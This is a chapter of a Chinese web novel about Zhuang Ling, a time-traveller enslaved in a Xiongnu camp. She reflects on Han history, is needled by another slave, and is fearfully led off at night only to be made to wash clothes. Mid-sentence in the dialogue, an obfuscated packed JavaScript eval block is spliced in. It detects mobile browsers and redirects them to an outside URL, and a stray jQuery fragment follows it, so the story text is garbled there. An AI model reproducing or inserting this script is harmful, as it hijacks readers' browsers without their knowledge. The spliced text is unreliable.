秋不再和同来林中的汉人奴隶一样全天拾柴,只要那个匈奴少年出现,她就可以放下手中的活过去聊天,没有任何一个匈奴人阻止她。每次伊都出现都让她眉开眼笑,见不到伊都的时候,她心不在焉。因为能时不时的“休息”一下,她看起来更有力气了,捡柴时候“弯腰——直腰”比大家更灵活,走起路来也更快,更有精气神。
因为恋爱吗?因为轻松吗?
秋现在满身活力的样子才符合年轻女孩儿的状态。
庄翎也见过那个叫伊都得匈奴少年来找秋,他每天都会过来,有时候是一次,一次至少会和秋在一起一个时辰,有时候他来找秋两次或是三次,凡是他过来,秋都会和她打过招呼再离开。
有时候伊都会来奴隶营中将秋接出去,带她吃一些东西,或是陪她在匈奴人的部落里走一走,就当做是闲逛。
几天之后,秋比所有人容光焕发。
庄翎还是老样子,白天的时候被人安排去做活,等到回来吃一碗汤羹,然后进去平时住宿的毡帐里面检查一下铺位上的干草还在不在,如果发现少了,她就再添一些来,如果不多不少,她就可以在毡帐外面闲待一会儿。
她不喜欢毡帐里头的空气和声音,从前她和秋一起休息,现在秋一回来就被伊都接走,庄翎就一个人。
奴隶营的空地不多,人们休息的时候要么是和同乡朋友在前面空地说话,要么也只是围着各自所住的毡帐休息,大多数人都席地而坐,讲究一些也就是拿一两根粗一些的木柴或是干草垫在身下坐着。
庄翎在这里没有同乡,她对大多数人都不是很熟悉,也不喜欢闲聊,空闲的时候她习惯在毡帐西侧休息。如果时间还早,可以看到夕阳下落,如果更晚一些,她可以看见远方的荒原和星星。
每当这个时刻,她就会在脑海中会思考或是回忆一些事情:现代、秋、自己流落匈奴,还有连日的劳役。也有时候,她会回想自己曾经学过的知识,假如她的老师知道她到了这个境地也在努力学习,肯定会夸奖她,但这也不是最重要的。
来到匈奴以后,所有的生活都没有意义,她劳作终日,也不过是为别人建造生活,对她自己而言全是对人生的浪费。这种浪费比劳作本身的痛苦更让她焦灼,回忆过去的知识是她唯一能做到的,有一点意义的事情,尽管哪些知识可能以后再也用不到了。
还有些时候,庄翎会回想自己所知道的关于汉武帝时期的历史。也似今日,太阳才落下,光线还没彻底消退,她站在毡帐之西,面朝西面对落日的方向,出神思考着这个朝代的历史和一些有名的历史人物。
穷兵黩武的汉武帝,封狼居胥的霍去病。
元狩四年漠北之战,汉朝和匈奴的交战进入最后时期,汉朝发动漠北之战,卫青霍去病立功,霍去病就是在这一场战争中在狼居胥封土祭天,达成封狼居胥的成就,从此功垂千古,而匈奴人也因此次战败更加向北迁徙远去。
现在是元朔元年,距离元狩四年还有十年。
她自己也不是全无指望,最差一些,元狩四年匈奴战败,定然不会带着大批汉朝奴隶一起迁徙,最迟最迟自己可以在那时获得自由。
当然,也有个前提,自己最好足够幸运,不要在以后的奴隶生活中死去。十年之后,她也才二十三四岁,正好是大学毕业的年纪,还很年轻呢!
正想着这些,一个女人走过来了,她看上去二十多岁,长得比庄翎稍稍高上一点点,也更强壮些。这人走来庄翎身边,瞥了一眼地上,见一旁正好有一块木柴,懒懒坐下。
庄翎也认得这个人,她叫吴完,平时这人就睡在她和秋旁边,那天把她和秋垫身睡觉的干草拿走的人也是这人。最近几天,吴完也和她们一起去拾柴,她也看过秋和伊都在一起说话的场景,每次看见都会扯扯嘴角。
“你妹妹今天又和那个匈奴小子一起吃羊肉去了,她没请你一起么?”
庄翎不想和别人说自己拒绝过秋的邀请,所以什么也没说,只看了看吴完。她还是以前的习惯,和人说话的时候会看着对面人的眼睛。
也许是太无聊,这里的人总会刺探一些消息,有的时候没有目的,有的时候是单纯想要看看笑话。
吴完见庄翎不答,也不在意,她不知怎地却似更愿意和庄翎说话了,上身往庄翎那边探了探,问道:“你不喜欢吃羊肉是不是?”
是无稽之谈,这话更多是想要刺激庄翎。
庄翎对吴完的话不置可否,但看出吴完今天谈兴浓,便将自己适才想到的问题拿来问她,道:“听说从前汉朝会和匈奴和亲,现在匈奴部落有没有汉人公主?”
吴完闻言笑了笑,倒也不吝回答,大方说道:“有啊,这位公主现在就住在大单于的穹庐内。”
“刚来到这儿的小姑娘总想找人救命,尤其是这位汉朝来的公主。”她冷冷笑道,“别想了,那是大单于的阏氏,匈奴大单于下过命令,敢靠近公主的汉人要受断足之刑罚。”吴完单手在双脚脚腕比了个切割手势。
庄翎只说:“谢谢你告诉我这些。”
吴完看着没有太大反应的庄翎就知道自己没有改变她的想法,说道:“年轻人总是心比天高,离开是不可能的,你不如想法子少受些苦,比如和你那个妹妹一样,找个匈奴人嫁了,你虽然比你妹妹长得丑,但我看你也不十分讨人厌。”
其实吴完有些喜欢庄翎,这女孩儿虽然总是脸上蒙了一层灰,但有一双一看就让人心里安静的眼睛,举手投足让人看了也舒服。而且,自己抢了她的东西,也不见她愤怒或是辱骂……
庄翎对吴完说的话都无所谓,她有些担心秋。
不一会儿,管事的匈奴人穿过人群走了过来,抬手指了指庄翎,说道:“你跟我走。”
庄翎脚步微顿,一瞬间心脏漏了半拍,还是迈开步伐跟着这匈奴管事儿往前走,心里根本猜不到这人在傍晚时分要将自己带去哪里,又会是有什么事儿?
对方是否居心不轨?庄翎内心十分不愿意做这种想象,好像只要这个假设一旦做出来,就将自己放在了一个极其弱小低微的地位。可她本来也是任人宰割的奴隶,哪有资格去幻想许许多多的侥幸,保持危机感和警惕心才是对自己最好的保护。不,她根本保护不了什么!在这个地方她只能任人宰割!
庄翎缓缓攥住手指。
比可能发生的灾难更加折磨人的是危机感,在刚才这个人呼唤自己之前,她在匈奴的危机感只来自于劳役、皮鞭,但在这一刻,无形的危机触及到了她衣服之下的肌肤,隐私在这一刻不停被侵袭,让她的精神深受折磨。
而前面领头的管事一直快步往前走,看起来很有几分不耐,他见身后女奴落后几步,回身大声催促:“快走!给我快点!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494280|202393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”催促间这人下意识摸了摸腰间,但他今天没有带那个骨锤。庄翎却不敢不快,不管心里怎么想,匆匆跟着这人往前走。
两个人出去奴隶营,转道东边,走到了匈奴人的聚居区,这人带着庄翎在不同的毡帐之间走路转弯,庄翎偶尔看见些匈奴的男女老幼,这些人有的在吃饭、有的在烧火、有的在喂马喂羊,还有的在一起闲聊说笑……也许汉朝百姓的生活和这些匈奴人没什么太大的区别。
管事的匈奴人带着庄翎匆匆走过,有的匈奴人注意到他们,只看了一眼,没有过多的好奇,如常地转回头做自己的事。
也许这个匈奴管事带着自己并没有什么过分的坏心?庄翎看一些匈奴人的表情如此猜到。
但是又想,也许他们对这些役使奴隶的管事们的所作所为都习惯了,不管他们做什么事情都不会有人觉得很奇怪。
从匈奴存在开始,他们就不停地向周边部落和国家掠夺人口,将他国土地上的百姓变成他们的奴隶,让这些人为他们劳作,被他们欺辱。
不知不觉,夜色渐渐浓了,天边亮起几点星星,一闪一闪的。
任凭一路上做过多少猜测、有过多少挣扎,庄翎还是随着匈奴管事来到了目的地,他们来到了一座平民毡帐前头,毡帐也只和庄翎平时住在奴隶营里的毡帐一样大,但眼前的毡帐是个完好的半旧毡帐,看起来厚实温暖。
毡帐一侧有个木架子,上面搭着两件匈奴女人的衣衫,旁边有个木制的水缸,里面是个舀水的木勺。像个长期生活的地方,有女主人,附近有点杂乱,但很温馨。
庄翎心里忧虑不安,又有些焦躁紧张,她微微咬住下唇,依旧站在落后匈奴管事三五步远的位置,眼睛盯着前方不远处的毡帐帘门。
那匈奴管事走到毡帐帘门之前,用匈奴话大声说道:“贝坎,快出来!女奴给你带来了!”“人在家里吗?”“快点出来!”
听不出来他在叫什么人,剩下的听得懂,管事说他给里面的人带来了一个女奴,两个人应该是提前约好的,他在催促里面的人出来。
这管事儿连连大声催促好几句,不到片刻,里面的人大声用匈奴话回了一句:“别催了!孩子都被你吵醒了!”
说话的是个匈奴女人。
那管事闻声不再大声叫人,不一会儿,帘门被拉起来,一个匈奴女人抱着个木盆走出来,边走边说那个管事,“我又不会不出门,你也知道我在家里,这么大声做什么?”
管事说道:“我家里还有事儿,下次你要用奴隶早点说话,先走了。”
“我还没给你钱。”
“明天你拿给我妻子吧。”
两人看起来认识,也很熟悉。
那匈奴女人看见不远处站着个低着头的汉人女奴,她将盆子放在地上,对庄翎说道:“那边有水,你尽快将盆里衣服洗干净,一会儿我会送你回西牢。”话音落下匈奴女人就掀开帘门回去了身后的毡帐里。
庄翎微微抬头,看了眼不远处的木盆,依稀能看见里面装着些孩童和大人的衣服。
也能确定,今天傍晚并没有什么危险的事,匈奴管事叫她出来,是因为刚见过的匈奴女人需要有人帮忙洗衣服。
没有危险不是好事吗?也该松一口气才是。
但也不知怎么回事儿,庄翎并未觉得释怀,反而有另一种复杂情绪袭上心头。